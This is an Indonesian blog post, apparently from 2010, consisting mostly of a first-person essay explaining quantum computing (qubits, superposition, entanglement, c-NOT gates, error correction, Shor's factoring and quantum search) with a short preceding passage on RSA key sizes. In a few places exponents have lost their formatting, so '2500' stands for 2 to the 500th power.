yaitu bisa kita lihat di digit ke-4, ke-6 dan ke-9 tidak
berubah saat dienkripsi, dan nilai 2 dan 8 dienkripsi
menjadi 8 dan 2, yang berarti dienkripsi menjadi
kebalikannya. Tapi kesimpulan yang bisa diambil dari
contoh yang sederhana ini adalah RSA dapat
digunakan dalam penyandian dalam pengiriman
informasi.



Kunci RSA yang mempunyai ukuran 512 dan 768 bit
dianggap masih lemah dan mudah dijebol. Ukuran
kunci yang dianjurkan adalah 1024 bit. Ukuran 2048
dan 3072 bit merupakan suatu ukuran yang lebih baik.




Selasa, 06 April 2010

QUANTUM COMPUTING


QUANTUM COMPUTING

Bagaimana logika ganjil dunia subatomik memungkinkan suatu mesin komputasi mengerjakan kalkulasi jutaan kali lebih cepat dibanding mesin sejenis yang kita punyai saat ini

Ketika Perang Dunia II memasuki masa-masa yang paling suram, ketika Perancis telah lepas dari tangan Sekutu dan kapal selam Jerman hilir mudik di Samudera Atlantik, otak-otak paling brilian dari seluruh penjuru Inggris berkumpul di suatu tempat yang dikenal dengan nama Bletchley Park. Dalam sebuah bangunan kayu beratap rendah yang berdiri di atas tanah negara, lima puluh mil di sebelah barat daya kota London, ribuan pria dan wanita bekerja mati- matian untuk memecahkan kode yang dikirimkan oleh negara-negara yang tergabung dalam blok Axis ke kapal perang dan tentara-tentaranya. Ketika sebuah pesan radio masuk dan tercetak oleh teleprinter, jurutulis cepat-cepat memungutnya dan menyalinnya dengan tulisan tangan, sehingga pesan itu tampil dalam format khusus. Para kriptoanalis kemudian mengambil alih tugas berikutnya. Sebagian besar tugas mereka kerjakan secara manual, mulai dari membandingkan lembaran- lembaran kertas printer, melakukan permutasi, menyilang bagian yang salah, memelototi, membolak-balik, hingga menebak-nebak. Setelah berminggu-minggu kerja keras, kabut perang sedikit demi mulai terkuak. Tim Bletchley Park berhasil memecahkan kunci untuk penyandi (chiper) Red dan penyandi Light Blue milik Angkatan Udara pihak Axis. Setelah itu, mereka berhasil mempercundangi penyandi Enigma milik Angkatan Laut dan Angkatan Darat. Dan yang paling luar biasa, mereka sanggup mengurai pesan dari penyandi super rahasia Fish milik komando tertinggi Jerman.

Cukup mengejutkan bahwa nasib Eropa sekali waktu pernah bergantung di ujung pensil dan intuisi. Sekarang, manakala kalkulasi telah menjadi kian rumit dan standard menjadi kian tinggi, hampir setiap orang-orang dengan kecerdasan lumrah dapat memetik keuntungan dari komputer. Kalkulasi-kalkulasi yang tergolong paling berat memang masih dikerjakan dengan kode manual, namun kalkulasi demikian biasanya digunakan untuk menguji keamanan, bukan untuk menyerangnya. Sandi-sandi yang saat ini kita gunakan membuat Fish tampak seperti penyandi subtitusi huruf sederhana yang digemari oleh penggemar teka-teki dan kerap muncul dalam majalah anak-anak (a menjadi b, b menjadi c dan sebagainya). Karenanya, kita membutuhkan metode penyandian yang lebih cepat dan lebih ampuh. Salah satu penyandian yang dikenal sekarang adalah apa yang disebut protokol RSA. Protokol ini memungkinkan dilakukannya electronic banking; dengan protokol ini, transaksi antara bank dan nasabahnya dapat disandikan. Untuk membongkar sandi itu dan mentransfer uang fiktif, seseorang membutuhkan waktu hingga jutaan tahun, meski ia melakukannya dengan komputer tercepat di dunia. Sandi lain yang lumayan terkenal adalah Data Encryption Standard (DES), yang "tidak terlalu sulit" untuk dipecahkan namun masih tetap aman untuk transaksi bisnis biasa.

Selain penyandian, jenis kalkukasi lainnya - searching di Internet, pemodelan ekonomi suatu negara, peramalan cuaca - juga menyita sebagian besar kemampuan komputer, bahkan pada komputer- komputer yang paling cepat dan paling tangguh sekalipun. Kesulitan yang kita hadapi terutama bukan terletak pada kecepatan mikroposessor yang terlampau rendah, namun karena komputer itu sendiri yang secara inheren tidak efisien. Komputer modern beroperasi menurut program yang membagi suatu tugas menjadi operasi-operasi elementer yang kemudian dikerjakan secara serial. Satu operasi per satuan waktu. Para perancang komputer telah mencoba selama bertahun- tahun untuk memaksa dua atau lebih komputer (atau setidaknya dua atau lebih mikroprosessor) agar mengerjakan bagian-bagian berbeda dari suatu problema, secara bersamaan. Sayangnya kemajuan dalam bidang komputasi paralel semacam itu sangat lambat dan mengecewakan. Sebab utamanya adalah karena logika yang tertanam dalam mikroposessor pada dasarnya merupakan logika serial.

Komputer biasa kadang-kadang tampak mengerjakan banyak sekali tugas pada saat yang bersamaan, misalnya menjalankan word processor dan spreadsheet secara berbarengan. Namun pada kenyataannya prosessor hanya beralih secara cepat dari satu tugas ke tugas selanjutnya. Sebaliknya, komputer paralel yang sesungguhnya akan memiliki simultanitas sebagai sifat alamiahnya. Ia akan sanggup melakukan banyak operasi pada saat yang bersamaan; mencari secara cepat dari sekian banyak kemungkinan dan akhirnya menunjuk salah satu yang merupakan pemecahannya.

Komputer dengan kapabilitas semacam itu sebenarnya sudah ditemukan. Para ilmuwan menyebutnya komputer kuantum - bukan semata-mata karena komputer ini 'sejak lahir' berdimensi sangat kecil, namun lebih karena komputer ini bekerja menurut kaidah-kaidah ganjil dalam mekanika kuantum. Sekelompok fisikawan menemukan kaidah yang kemudian terbukti berlaku sepenuhnya di dunia gelombang dan partikel fisika subatomik tersebut pada awal abad 20. Kaidah mekanika kuantum yang secara khusus memicu berbagai studi mengenai terapan mekanika kuantum dalam komputasi adalah konsep bahwa partikel elementer seperti proton, neutron dan elektron dapat berada dalam dua atau lebih stata (state; keadaan) pada saat yang bersamaan. Hal ini memungkinkan Anda -setidaknya secara teoritis- untuk memperlakukan partikel- partikel tersebut sebagai prosessing unit dalam suatu mesin yang lebih efisien ketimbang komputer 'klasik' konvensional.

Komputer kuantum dengan spesifikasi yang amat sederhana telah direkayasa di laboratorium. Sementara itu, di bidang kajian yang saya tekuni, yaitu teori komputasi kuantum, para peneliti tengah sibuk membayangkan seperti apa kira-kira wujud mesin yang lebih canggih itu, jika mesin tersebut dapat dikonstruksi. Bahkan, kami sedang bersiap menulis software untuk peranti yang belum benar-benar terwujud itu. Meski masih dalam bentuk kertas kerja, prospek software tersebut sungguh menggiurkan: suatu algoritma yang dapat memfaktorkan bilangan sepanjang 140 digit dengan kecepatan semilyar (10 ^9) kali lebih cepat dibanding yang ditawarkan oleh metode nonkuantum terbaik yang kita kenal sekarang; sebuah search engine yang sanggup memeriksa setiap 'sudut dan celah' di Internet dalam waktu kurang dari setengah jam; sebuah pemecah kode 'brute-force' yang dapat memecahkan transmisi DES dalam tempo 5 menit.

Hal paling mengejutkan mengenai komputer kuantum barangkali adalah bahwa ide mengenai peranti ini datang agak terlambat. Sejak tahun 1920-an, para fisikawan telah mengetahui bahwa dunia partikel subatomik memiliki perilaku yang sangat berbeda. Akan tetapi, butuh waktu setengah abad bagi para ilmuwan komputer untuk mulai tertarik pada aplikasi efek-efek kuantum dalam komputasi. Jawabannya pun masih jauh dari jelas.

Pada dasarnya, semua komputer harus memenuhi dua persyaratan: ia harus dapat menyimpan informasi sebagai untai 0 dan 1 (kita sebut binary digit atau bit), serta memiliki metode untuk memanipulasi nilai bit- bit tersebut sesuai dengan intruksi yang diterimanya. Komputer mengubah bit-bitnya melalui gerbang logika atau gate, suatu peranti yang didesain untuk mengerjakan operasi logika sederhana. Sebagai contoh, gerbang NOT akan mengubah sembarang bit input menjadi kebalikannya (0 menjadi 1 dan 1 menjadi 0). Gerbang OR akan mengubah dua bit input menjadi bit tunggal yang nilainya merupakan bit input yang lebih tinggi (0 OR 0 menghasilkan 0 ; kombinasi lainnya menghasilkan bit 1 ). Gerbang AND menghasilkan 1 jika kedua bit inputnya adalah 1 ; jika tidak begitu, outputnya adalah 0. Apapun yang dikerjakan komputer, entah itu menirukan suara, menghitung digit kesejuta dari pi atau mengalahkan Gary Kasparov dalam permainan catur, pada dasarnya merupakan hasil tranformasi bit-bit oleh gerbang logika.

Dapatkah partikel subatomik menyimpan bit? Dapatkah mereka membentuk gerbang logika? Kita ambil contoh sebuah elektron. Setiap elektron bertingkah layaknya sebuah magnet kecil yang berputar pada sumbunya, dimana momen magnet dapat menunjuk hanya satu dari dua arah, naik (up) atau turun (down). Dengan demikian, spin elektron terkuantisasi: ia hanya memiliki dua stata yang mungkin, yang dengan segera dapat diidentikkan dengan 0 dan 1 pada prosessor komputer biasa. Anda pun dapat membalik bit, yaitu mengubah down menjadi up atau 0 menjadi 1 dengan menambahkan sepaket energi.

Bagaimana seandainya Anda memberikan lebih sedikit energi? Setengah paket misalnya. Sekali lagi, ketika Anda mengamati stata spin elektron, Anda akan mendapati bahwa spin tersebut terkuantisasi: dia akan memiliki arah up atau down. Namun disini terdapat perbedaan penting yang tak kentara. Menurut aturan mekanika kuantum, kebolehjadian untuk mengamati bahwa spin pada stata up maupun down akan berubah. Perubahan yang berasal dari suatu kondisi yang benar-benar baru dan tidak ada padanannya dalam hukum-hukum fisika non kuantum itu disebut superposisi dua stata spin: suatu kombinasi, suatu kondisi antara yang mungkin dapat berupa 60 persen up dan 40 persen down atau 22 persen up dan 78 persen down.

Pada dasawarsa 70 -an dan awal 80-an, fisikawan dan ilmuwan komputer mulai mencari cara untuk mengaplikasikan sifat-sifat superposisi kuantum dalam ranah komputasi. Ilmuwan yang menggeluti bidang ini -diantaranya Charles H. Bennett (IBM Thomas J. Watson Research Center di Yorktown Heights, New York), Paul A. Benioff (Argonne National Laboratory di Illinois), David Deutsch (University of Oxford) dan almarhum Richard P. Feynman- menunjukkan bahwa partikel yang berada dalam kondisi superposisi dapat difungsikan sebagai bit kuantum atau qubit, dan dikenai operasi yang analog dengan operasi NOT, OR dan AND pada komputasi klasik. Namun itu belum semuanya. Komputer kuantum, jika berhasil dibangun, akan sanggup mencapai hasil yang sebelumnya tampak seperti mimpi - dan benar- benar lain dari yang bisa disediakan oleh sistem klasik manapun.

Bayangkan sebuah komputer kuantum yang terbuat dari dua inti atom yang dari luar dapat dikendalikan dengan medan magnet. Misalkan inti tersebut dipunyai oleh atom karbon dan atom hidrogen yang bertetangga dalam sebuah molekul kloroform (CHCl3). Seperti halnya elektron, inti akan menyesuaikan spinnya dengan medan magnet pada arah up (1 ) atau down (0). Komputasi dapat dimulai dengan sistem yang menyerupai 'mainan' ini, yaitu dengan cara 'menggelitik' inti atom menggunakan gelombang radio. Jika Anda menala frekuensi dan durasi pulsa radio secara tepat, Anda akan dapat membuat salah satu inti tersebut membalik spinnya. Bahkan Anda bisa mengatur agar inti hidrogen hanya akan membalik jika inti karbon telah mengarah naik.

Dalam kasus tersebut, perilaku terkuantisasi dari kedua inti berfungsi sebagai suatu gerbang logika yang oleh para ilmuwan komputer disebut gerbang c-NOT (controlled-NOT), dimana inti karbon berperan sebagai pengontrol. Ditulis dalam bentuk lambang (atom karbon di depan dan hidrogen di belakang), maka akan terdapat empat input yang mungkin, (1 ,1 ), (1 ,0 ), (0 ,1 ) dan (0 ,0). Gerbang c-NOT dapat beroperasi pada salah satu dari keempat cara ini:
(1 ,1 ) => (1 ,0)
(1 ,0 ) => (1 ,1)
(0 ,1 ) => (0 ,1)
(0 ,0 ) => (0 ,0)
Para fisikawan telah membuktikan bahwa dengan merangkai operasi qubit tunggal dan gerbang c-NOT dua qubit, secara teoritis kita dapat membangun komputer kuantum yang sanggup mengerjakan semua hal yang dikerjakan oleh komputer klasik.

Keajaiban yang sesungguhnya terjadi ketika suatu gerbang logika dua- qubit bekerja pada partikel yang stata spinnya tersuperposisi. Mula- mula, letakkan molekul kloroform pada suatu medan magnet eksternal yang akan mengarahkan kedua inti atom ke posisi down atau posisi 0. Kemudian, dengan pulsa gelombang radio tertala, "jewerlah" inti karbon tersebut sehingga ia membalik sebagian, menuju ke stata superposisi dimana kebolehjadian untuk masing-masing arah spin adalah 50 persen (operasi bit- tunggal). Akhirnya, lakukan operasi c- NOT dengan inti karbon sebagai qubit pengontrol. Karena qubit kedua (inti hidrogen) bermula dari stata nol, hanya dua operasi tersebut yang relevan: (1 ,0 ) => (1 ,1 ) dan (0 ,0 ) => (0 ,0 ). Dengan lain kata, jika inti karbon pada awalnya membalik menjadi 1 , operasi c-NOT akan membalik inti hidrogen menjadi 1 pula. Jika inti karbon tetap dalam stata 0, operasi c-NOT akan membiarkan atom hidrogen tetap dalam stata 0 pula. Akan tetapi, aksi c- NOT pada stata superposisi inti karbon dan stata 0 inti hidrogen membuat sistem dua-qubit tersebut menjadi sebuah kesatuan dengan stata superposisi yang lebih rumit, dimana 50 persen kemungkinan berada pada stata (1 ,1 ) dan 50 persen kemungkinan berada dalam stata (0 ,0 ). Superposisi semacam itu disebut stata EPR (EPR states) untuk mengenang Albert Einstein, Boris Podolsky dan Nathan Rosen yang mula-mula mempelajarinya pada tahun 1935.

Teka-teki paling membingungkan dari stata EPR muncul ketika dua qubit tersebut terpisah secara fisis dan beroperasi sendiri-sendiri. Misalkan saja Anda hanya mengukur nilai dari qubit pertama, yaitu stata spin inti karbon. Saat Anda melakukan hal itu, Anda akan berhadapan dengan salah satu aturan pokok dalam mekanika kuantum: Jika suatu interaksi memberi informasi mengenai suatu stata kuantum, seluruh sistem dengan segera akan mengatur dirinya kembali agar konsisten dengan informasi tersebut. Secara umum, usaha apapun untuk mengukur atau mengamati suatu sistem yang berada dalam keadaan superposisi dua atau lebih stata dengan segera akan memaksa sistem untuk membuat keputusan. Alih-alih mempertahankan stata tersuperposisinya, komputer kuantum akan berpindah ke satu stata kuantum lain yang mungkin dan terbuka. Dalam bahasa mekanika kuantum, peristiwa ini disebut dekoherensi (decoherence).

Dengan mengamati qubit karbon dalam stata EPR, Anda telah memicu terjadinya dekoherensi dan menghancurkan superposisi; Anda memiliki kesempatan yang sama untuk mengamati stata 0 maupun 1, namun Anda hanya dapat mengamati salah satunya. Pengamatan tersebut juga menyebabkan sistem sebagai suatu kesatuan tidak dapat terus berada dalam keadaan superposisi dua stata (0 ,0 ) dan (1 ,1). Alih-alih demikian, sistem akan mengambil satu stata tertentu sehingga qubit hidrogen memiliki nilai yang sama dengan karbon. Menurut mekanika kuantum, kedua stata tersebut hadir pada saat yang sama karena kedua inti tersebut telah saling terbelit (entangled).

Jika hanya kemampuan-kemampuan di atas yang dimiliki, maka komputasi kuantum tidaklah terlalu menarik. Setelah bersusah payah, Anda hanya akan memperoleh hasil akhir berupa dua qubit identik yang nilainya acak. Namun, aspek menarik berkenaan dengan keterbelitan (entanglement) adalah bahwa Anda tidak harus melakukan observasi atau pengukuran seketika itu juga. Anda dapat meninggalkan sistem tetap dalam keadaan tersuperposisi dan mengerjakan operasi lain yang lebih sulit dan perlu trik sebanyak yang Anda mau, sebelum akhirnya memutuskan untuk mengamati sistem. Sementara Anda melakukan hal itu, operasi kuantum dalam sistem bekerja secara simultan pada seluruh stata. Jika banyaknya qubit adalah q, maka jumlah total stata yang mungkin adalah 2q.

Dengan berbekal 500 buah partikel, secara prinsip kita dapat membuat sistem kuantum yang memiliki superposisi dari 2500 stata. Masing- masing stata akan menjadi daftar tunggal dari 500 buah susunan angka 0 dan 1. Semua operasi kuantum pada sistem tersebut (misalnya pulsa gelombang radio tertentu yang mengeksekusi operasi c-NOT pada qubit ke 175 dan 176 ) akan bekerja secara simultan pada 2500 stata tersebut. Karenanya, dengan satu siklus mesin, satu ketukan dalam jam komputer, operasi kuantum sanggup mengkomputasi tak hanya satu stata mesin seperti halnya komputer klasik yang bekerja serial, tetapi 2500 stata mesin sekaligus! Jumlah itu kira-kira sama dengan angka 1 diikuti 150 buah angka 0 di belakangnya; jauh lebih besar dibanding jumlah atom di alam semesta yang kita ketahui. Yang menjadi masalah, pengamatan terhadap sistem akan membuatnya runtuh (collapse) ke stata kuantum tunggal yang bersesuaian dengan jawaban tunggal pula: suatu daftar tunggal berisi sederet angka 0 dan 1 yang banyaknya 500 buah. Bedanya adalah jawaban tersebut dihasilkan melalui paralelisme masif dalam komputasi kuantum.

Komputer kuantum bekerja jauh lebih cepat pada kasus-kasus tertentu karena ia mampu meng-handle problema-problema yang tak tertangani oleh komputer klasik. Jika komputer kuantum yang berfungsi sepenuhnya berhasil dibangun, pemberdayaan potensinya hanya akan bergantung pada kesanggupan para ilmuwan untuk menyusun algoritma yang sanggup beroperasi secara tepat, untuk tujuan yang tepat.

Realisasi komputer kuantum telah menimbulkan kehebohan pada riset- riset mengenai teori komputasi kuantum. Bidang ini mempunyai tantangannya sendiri. Matematika yang digunakan untuk menganalisis evolusi sistem partikel tidaklah mudah dipahami. Sama halnya Anda dapat terbang dari New York ke Los Angeles secara langsung maupun melalui beberapa bandara transit, partikel subatomik dapat berubah dari satu stata ke stata lain melalui beberapa lintasan yang mungkin. Perbedaannya adalah pesawat Anda hanya dapat mengambil salah satu rute yang mungkin, sedangkan partikel yang berperilaku seperti gelombang dapat mengambil semua kemungkinan secara simultan. Selain itu, kebolehjadian untuk menemukan partikel di tiap-tiap lintasan berfluktuasi dari titik ke titik dan dari waktu ke waktu, seperti halnya gelombang memiliki bukit dan lembah. Untuk menghitung kebolehjadian bahwa suatu stata akan mewujud atau menjadi realitas, kita harus menjumlahkan kebolehjadian dari seluruh lintasan yang menuju ke stata tersebut, dan dengan hati-hati menjaga gelombang kebolehjadian di masing-masing lintasan agar tetap berada pada fase yang tepat.

Kendala lain yang menghadang adalah fakta bahwa kuantum komputer ternyata sangat rapuh (fragile). Agar tetap berada di stata superposisi, sistem kuantum harus benar-benar terisolasi dari lingkungan sekitar. Interaksi sekecil apapun dengan dunia luar akan mengganggu sistem, merusak superposisi dan menggagalkan komputasi. Akibatnya, siapa saja yang ingin membangun komputer kuantum harus ekstra hati-hati melindunginya dari panas, sinar kosmis dan pengaruh luar lainnya, termasuk dari pengamat luar. Sebagai tambahan, sekali komputer kuantum memecahkan suatu problema yang Anda inputkan, keinginan Anda untuk membaca jawaban atas problema tersebut akan memaksa Anda untuk meruntuhkan sistem.

Perilaku khas sistem kuantum ini telah lama diketahui dan menjadi sebab mengapa kajian mengenai komputasi kuantum yang sedemikian mengesankan sejauh ini hanya berlangsung di atas kertas. Sementara fisikawan eksperimentalis bergumul untuk membangun sistem yang paling sederhana di laboratorium, fisikawan teoritis telah melangkah maju untuk membuat peranti lunak yang dibutuhkan oleh komputer kuantum.

Salah satu potongan penting dari peranti lunak dalam teknologi komputasi adalah metode koreksi kesalahan (error correction code). Mesin komputasi melakukan kesalahan-kesalahan selama operasinya. Komputer klasik didesain untuk 'mendeteksi' kesalahan melalui apa yang disebut redundansi. Mereka mengerjakan tiap unit komputasi elementer beberapa kali dan menganggap jawaban yang paling sering diperoleh sebagai jawaban yang benar. Pendekatan 'aturan mayoritas' itu tidak akan bekerja pada komputer kuantum, karena untuk membandingkan jawaban kita harus melakukan sesuatu yang tabu dalam dunia kuantum, yaitu mengamati sistem sebelum komputasi berlangsung.

Secara mengejutkan, beberapa ilmuwan berhasil membuktikan bahwa quantum error correction bukanlah hal yang mustahil untuk dilakukan. Pada tahun 1995, matematikawan Peter W. Shor (sekarang di AT&T Labs, Florham Park, New Jersey) dan fisikawan Universitas Oxford, Andrew M. Steane secara terpisah menemukan cara untuk 'mengakali' jebakan kuantum tersebut. Skema yang mereka usulkan dapat mendeteksi kesalahan (error) dengan cara sedemikian rupa sehingga tidak memberi informasi apapun mengenai komputasi yang tengah berlangsung (dan dengan demikian tidak meruntuhkan superposisi). Kesalahan yang terdapati kemudian dikoreksi dengan komputasi kuantum lainnya, yang juga mempertahankan sistem kuantum tetap utuh.

Pendekatan yang mirip juga digunakan dalam faktorisasi bilangan yang besar. Faktorisasi adalah sesuatu yang oleh ilmuwan komputer disebut one-way problem: sukar pada satu arah, namun mudah pada arah lainnya. Andaikan saya bertanya kepada Anda, "Bilangan bulat apa yang jika dikalikan akan menghasilkan bilangan 40301 ?" Pengujian sistematis dari semua kandidat yang mungkin barangkali akan membuat Anda sibuk selama 15 menit atau lebih. Tetapi jika saya meminta Anda untuk mengalikan 191 dan 211 dengan pensil dan kertas, Anda mungkin hanya akan membutuhkan waktu 20 detik untuk menemukan bahwa jawabannya adalah 40301 . Kesulitan yang tidak imbang antara faktorisasi dan perkalian merupakan basis dari skema enkripsi data yang banyak digunakan saat ini. Salah satu contohnya adalah protokol RSA. Bilangan prima besar - 100 digit atau lebih - merupakan 'password' yang baik untuk sistem- sistem semacam itu karena mudah diverifikasi (Tinggal kalikan mereka dan lihat apakah hasilnya sesuai dengan bilangan yang tersimpan atau bilangan yang sudah menjadi kunci publik). Mengekstrak password sepanjang 200 digit yang berasal dari hasil kali dua bilangan prima besar tak beda dengan memfaktorkan bilangan besar - suatu problema yang tentu saja sangat berat. Komputer biasa dengan algoritma non kuantum yang tersedia saat ini tidak akan sanggup memfaktorkan bilangan yang panjangnya lebih dari 140 digit.

Algoritma kuantum menawarkan sesuatu yang benar-benar berbeda. Pada tahun 1994, Peter Shor menemukan cara untuk membuat faktorisasi menjadi seefisien perkalian. Dalam ilmu komputer, kita sering mencoba untuk memecahkan persoalan berat dengan membaginya menjadi persoalan-persoalan yang lebih sederhana, yang salah satunya sudah terpecahkan. Shor pun memanfaatkan metode yang telah dikenal luas dalam teori bilangan, yaitu mengubah faktorisasi menjadi suatu pemerkiraan periodisitas dari suatu barisan bilangan yang panjang. Secara sederhana, periodisitas adalah jumlah anggota dalam suatu satuan pengulangan yang terdapat dalam sebuah barisan. Barisan 0 , 3 , 8 , 5 , 0 , 3 , 8 , 5,..., misalnya, memiliki perodisitas empat. Untuk memerkirakan periodisitas, algoritma klasik harus melakukan pengamatan setidaknya sebanyak jumlah anggota yang terdapat dalam periode tersebut. Algoritma Shor bekerja jauh lebih baik. Algoritma ini menyusun sistem kuantum yang terbentuk dari sejumlah besar stata tersuperposisi. Tiap stata diidentifikasi dengan anggota dari suatu barisan berulang. Operasi mekanika kuantum tunggal kemudian mengubah masing-masing stata tersuperposisi melalui suatu mekanisme yang bergantung pada nilai barisan dimana stata tersebut berkorespondensi dengan. Serangkaian operasi mekanika kuantum yang secara matematis analog dengan difraksi sinar-X berlangsung dalam stata tersuperposisi.

Metode difraksi sinar-X yang bekerja dengan prinsip yang sama memungkinkan ahli bahan tambang mendeduksi periodisitas kisi kristal dari suatu zat padat yang tidak diketahui. Struktur periodik kisi hanya mengijinkan gelombang dengan panjang gelombang tertentu untuk merambat [ke arah tertentu]. Demikian pula dalam algoritma Shor, sistem kuantum dari stata tersuperposisi hanya mengijinkan gelombang kebolehjadian yang terkait dengan stata kuantum tersebut untuk 'merambat'; sisanya akan teredam atau terhilangkan. Algoritma Shor kemudian menghitung panjang gelombang yang merambat itu, memperkirakan periodisitas dari stata tersuperposisi dan akhirnya mendeduksi faktor bilangan yang dicari. Jadilah sebuah algoritma yang diklaim sebagai algoritma faktorisasi tercepat yang pernah ada.

Faktorisasi sebenarnya adalah sejenis pencarian, yaitu pencarian faktor. Untuk jenis pencarian lainnya, kita memerlukan suatu algoritma yang lebih serba guna. Kontribusi terpenting saya dalam komputasi kuantum adalah algoritma mekanika kuantum yang sangat efisien untuk melakukan searching pada data base yang tidak urut. Algoritma yang saya temukan pada tahun 1996 itu lebih cepat ketimbang semua algoritma klasik yang kita miliki. Lebih dari itu, para peneliti lain telah menunjukkan bahwa tidak ada algoritma mekanika kuantum lainnya yang dapat mengungguli kecepatannya.

Andaikan Anda ingin mencari suatu nomor telpon pada buku direktori nomor telpon (Yellow Pages) yang berisi jutaan nomor. Anggaplah Anda lupa nama pemilik nomor telpon tersebut; informasi yang Anda miliki hanyalah alamat. Dalam kasus seperti ini, satu-satunya pilihan yang dapat Anda lakukan adalah trial and error. Menurut statistik, Anda rata-rata perlu membaca nama 500 ribu orang yang tidak Anda kenal sebelum Anda menemukan apa yang Anda cari. Di hari yang naas, Anda barangkali harus melihat 999 ,999 ribu nama asing. Komputer dapat mencarinya lebih cepat, namun secara algoritmik pencarian yang dilakukan komputer tidak berbeda dengan pencarian kita. Pada umumnya, pencarian pada suatu daftar dengan N item membutuhkan N/2 langkah.

Komputer kuantum dapat melakukan hal itu dengan lebih baik karena mampu mengerjakan banyak operasi pada saat yang bersamaan. Dengan anggapan bahwa Anda memiliki akses ke sistem kuantum, inilah yang dapat Anda lakukan untuk pencarian tersebut. Mula-mula, pilihlah partikel- partikel dalam jumlah yang cukup (sejumlah q) sedemikian sehingga terdapat cukup sistem kuantum dalam sistem (2 q) untuk memberikan setidaknya satu stata bagi masing- masing nama dalam buku telpon. (Untuk memeroleh sejuta nama misalnya, Anda memerlukan 20 partikel, karena 220 sedikit lebih banyak dibanding sejuta). Tempatkan informasi dari buku telpon dalam memori kuantum dan letakkan masing-masing nama ke stata kuantum yang berbeda. Kondisikan sistem hingga berada pada mengalami superposisi dari sejuta stata tersebut. Sistem akan melakukan komputasi untuk memeriksa apakah masing-masing nama tersebut adalah nama yang tepat atau bukan. Berkat superposisi kuantum, komputasi berlangsung secara simultan pada seluruh stata.

Hingga tahap ini, jawaban persoalan kita masih berada di dalam sistem. Perlu trik untuk 'mengeluarkannya'. Mengamati sistem tanpa pemrosesan lanjutan akan segera meruntuhkan superposisi ke salah satu stata dari sejuta stata dalam entanglement. Namun peluang bahwa keadaaan tersebut akan memberi Anda nama yang Anda cari hanyalah sepersejuta. Sama halnya Anda menunjuk salah satu nama secara acak dalam buku telpon.

Masalah selanjutnya adalah pemrosesan lanjutan: rentetan operasi mekanika kuantum pada stata tersuperposisi yang menguatkan kebolehjadian bahwa ketika superposisi diamati, ia hanya akan runtuh ke stata yang bersesuaian dengan nama yang dicari. Itulah yang dilakukan oleh algoritma pencarian yang saya buat. Seperti halnya metode faktorisasi Shor, algoritma tersebut mengambil keuntungan dari sifat alamiah gelombang kebolehjadian dalam komputer kuantum.

Untuk mendapatkan contoh yang lebih gamblang mengenai bagaimana proses ini berlangsung, anggaplah bahwa Anda ingin menemukan suatu nama dalam buku telepon yang hanya memiliki empat aran (entri). Untuk mengeset komputer kuantum Anda, Anda memutuskan untuk melakukan komputasi dengan sepasang partikel -agar bervariasi, kali ini pilihlah proton- dan Anda mengatur segala sesuatunya sedemikian sehingga masing-masing nama dalam buku telpon bersesuaian dengan kombinasi spin yang berbeda: (0 ,0 ), (0 ,1 ), (1 ,0 ) atau (1 ,1). Sekarang, anggaplah bahwa tanpa Anda ketahui, nama yang ingin Anda cari bersesuaian dengan stata ketiga, yaitu (1 ,0). Stata itu adalah targetnya.

Anda mulai dengan menetapkan posisi awal spin proton dengan menggunakan medan magnet, mengarahkan keduanya ke arah up. Kemudian Anda memberi kepada masing-masing partikel medan magnet yang lebih lemah, yang energinya hanya cukup untuk mengubah mengubah stata spin menjadi superposisi 50 persen up dan 50 persen down ('50 percent flip'). Sistem dua-partikel tersebut kini menjadi superposisi dari empat kombinasi spin yang mungkin, masing-masing dengan kebolehjadian 1 /4.

Dalam mekanika kuantum, masing- masing kebolehjadian secara matematis diperlakukan sebagai kuadrat dari amplitudo kebolehjadian, suatu entitas teoritis yang tidak secara langsung teramati. Singkat kata, apa yang dimanipulasi oleh algoritma yang saya buat tak lain adalah amplitudo kebolehjadian. Keuntungan bekerja dengan amplitudo kebolehjadian adalah tidak seperti kebolehjadian sebenarnya, amplitodo ini dapat bernilai positif maupun negatif, dan dapat saling menghilangkan satu sama lain, seperti halnya gelombang dalam air. Algoritma saya menggunakan sifat tersebut dengan membatalkan lintasan komputasional yang pada awalnya tampak menjanjikan namun kemudian berubah menjadi tidak berguna atau 'mati'.

Karena tiap stata dari keempat stata tersuperposisi tadi memiliki kebolehjadian 1 /4 , amplitudo kebolehjadian dari masing-masing stata dalam contoh dua-partikel saya dapat bernilai +1 /2 atau -1 /2 (nilai tersebut sebenarnya berupa bilangan kompleks). Algoritma saya menjamin bahwa seluruh amplitudo kebolehjadian diawali dengan nilai yang sama (1 /2 , 1 /2 , 1 /2 , 1 /2 ). Sekarang kita sampai di jantung algoritma ini. Operasi pertama mengubah tanda amplitudo dari stata target (dalam contoh saya adalah stata ketiga), sehingga amplitudonya menjadi (1 /2 , 1 /2 , -1 /2 , 1 /2). Hal ini mungkin karena ketika komputer kuantum berada di stata target, ia dapat memverifikasi apakah ia berada pada stata yang benar atau tidak, dan dapat membalik fase stata tersebut. Perhatikan bahwa operasi ini tidak memperlihatkan apapun kepada dunia luar, karena dalam hal ini kebolehjadian -yaitu kuadrat amplitudo probabilitas -tak berubah.

Tiga operasi kuantum selajutnya adalah 50 percent flip, kemudian operasi yang membalik fase salah satu stata, dan 50 percent flip sekali lagi. Akibat finalnya adalah suatu manuver yang disebut 'inversion about the average'. Jika Anda membayangkan nilai rata-rata sebagai batang seperti tanda + dimana tingginya sama dengan nilai rata-rata amplitudo (dengan beragam amplitudo individual menonjol ke atas atau menggelantung ke bawah darinya), Anda dapat membalik masing-masing amplitudo dengan cara memutarnya ke sisi seberang dari batang salib tersebut.

Apa hasil akhir yang Anda dapatkan? Rata-rata amplitudo pada keempat stata setelah pergantian tanda amplitudo pada stata target adalah (1 /2 + l /2 - 1 /2 + 1 /2 )/4 , atau 1 /4 . Stata pertama memiliki amplitudo l /2 , yang berati 1 /4 lebihnya diatas rata-rata, sehingga setelah inversion about the average amplitudonya menjadi 1 /4 kurangnya dari rata-rata atau 0 . Kalkulasi yang sama untuk masing- masing stata menunjukkan bahwa amplitudo mereka menjadi (0 , 0 , 1 , 0). Kuadrat dari masing-masing bilangan tersebut menunjukkan kebolehjadian masing-masing stata. Dengan lain kata, efek dari operasi yang Anda kerjakan adalah untuk mengarahkan komputer kuantum ke stata target; kebolehjadian dari stata target, (1 ,0), pasti tercapai. Jika sekarang Anda mengamati sembarang spin proton, superposisi kuantum akan runtuh untuk menunjukkan jawaban yang benar.

